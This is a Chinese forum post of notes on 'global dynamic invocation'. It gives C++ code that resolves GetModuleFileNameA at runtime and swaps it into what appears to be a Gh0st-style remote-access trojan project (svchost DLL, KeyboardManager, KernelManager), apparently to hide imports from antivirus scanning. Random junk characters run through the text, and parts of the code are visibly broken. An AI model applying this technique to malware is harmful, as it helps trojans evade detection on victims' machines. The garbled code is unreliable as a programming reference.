返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
/ g  l! z" b5 \1 Ksvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h3 X+ p* P. K. f) W
----------------------------------------
7 L/ g! u0 w' q: ?DTDY.h:
  J3 y  d% m. M9 ]. h/ W1 [5 H5 A& {8 B
#if _MSC_VER>10004 F2 i, }+ b$ a. g  ~$ `4 V
#pragma once5 f4 H! A3 A# i7 n
#endif //_MSC_VER>1000
3 M. C6 t8 u6 H/ [6 J% L( O#include<windows.h>: n# D' m1 ], r* O" u. S  b1 Q. Y
& N7 I1 C- U) }* p
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);. Q/ A1 i5 S: S; E( H# q
class DTDY+ z4 F3 c7 l4 I: i' S& |
{: M$ h( P+ i3 F, F5 a' H3 V
public:/ }1 }6 C0 \2 B. }+ s
DTDY();# \5 t* N' T# I3 w, R
virtual ~DTDY();
: \: M9 Q* S: rpublic:
$ h& I+ @0 ]& F' p! Qstatic pGetModuleFileNameA MyGetModuleFileName;, x2 e1 M0 I7 e! m' M
static BOOL FunInitiallization();
! {6 O" r8 l1 G+ T};6 f5 d( C5 ~) L; F
#endif( \. @6 i  X, a* ^- }) O
----------------------------------------4 u+ m; b$ X$ v* ^# s3 \

1 G4 w% Y. }; cDTDY.cpp:. Z1 i! {5 @: [" z3 S
* z6 d! A/ T! @
#include "DTDY.h"
, o- c% I. w- }4 ~, L4 Q! E/ I0 XpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
" X+ _/ F, ]1 a! h# J; [DTDY:TDY()" S: @" r1 ]& C. N
{
; ]8 I( f, Z* y3 ^8 ^: w6 u}
6 C1 a* [( |; E3 h3 z; f; XDTDY::~DTDY()
' k* {8 x& A, E5 K{
8 ~  A* l9 G& l" ~}
" {: ~5 {& q6 |( S, PBOOL DTDY::FunInitiallization()
" W) O. v& v2 D! H; x{
" Z2 g3 F: e6 l) S  z* mHMODULE hModule=LoadLibrary("kernel32.dll");% Z% G* F1 P( N. K4 f6 b8 E: V
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");% J! Z0 J9 h* F/ [
if(!MyGetModuleFileName=) return FALSE;
) C# `* Y  D5 o/ J) [  C1 `3 D% Q# n, q3 B( P
return TRUE;
. D8 g7 g. O7 d" l# K6 v+ v7 e}
9 y: N: N+ H7 a5 r; h: T2 Q- j----------------------------------------
: Y1 q! ^) v2 T5 r2 h$ Gsvchost.cpp:
$ G4 j/ d0 |% k
! D! [' @6 u# n6 i6 `) T6 V  N% r6 w- N#include "DTDY.h"9 G- u9 I- O3 N$ @0 ~9 m. c

7 l* T( n; @% yBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
, m) B% i2 o! B5 ~{/ A( E5 z2 x) F# O4 p
switch(ul_reason_for_call)
: y, }1 H) p" O2 }. @: j) o& D0 @{, f2 g$ q- k, q2 A
case DLL_PROCESS_ATTACH:
4 c/ f# ~6 A: x* pif(!DTDY::FunInitiallization()) return FALSE;4 t( ^$ U8 K/ C. h, G7 l

, \9 F. G1 q+ J6 |break;
9 m+ l) M" G6 Z}8 T* d0 c9 E/ o$ m+ O0 F: [+ Q
}0 Y9 H: ^& V) C0 ^

+ H* F% u2 c; i0 N4 v9 ~$ e3 P, G6 V) |" d8 w
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
) t" g5 Q. m& n- _  F2 h改写为( N* |% G. T, w+ l
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));! b! Q' s; @* C  ]5 o' r1 {
----------------------------------------4 X4 A7 t' ^; z# v
KernelManager.cpp:
; `- |9 n9 E( D0 o* E: _3 q9 h
% d7 r3 C. ^9 F! ?#include "../DTDY.h"
* r3 N& t4 @- x6 `! {$ C  lGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));# J+ \# L% G" H% I. A2 E# y7 d
改写为
( t9 J( \- Y4 s6 s" }DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));7 d! n0 |0 e6 F  T: }9 Z3 s# c, e
----------------------------------------

返回列表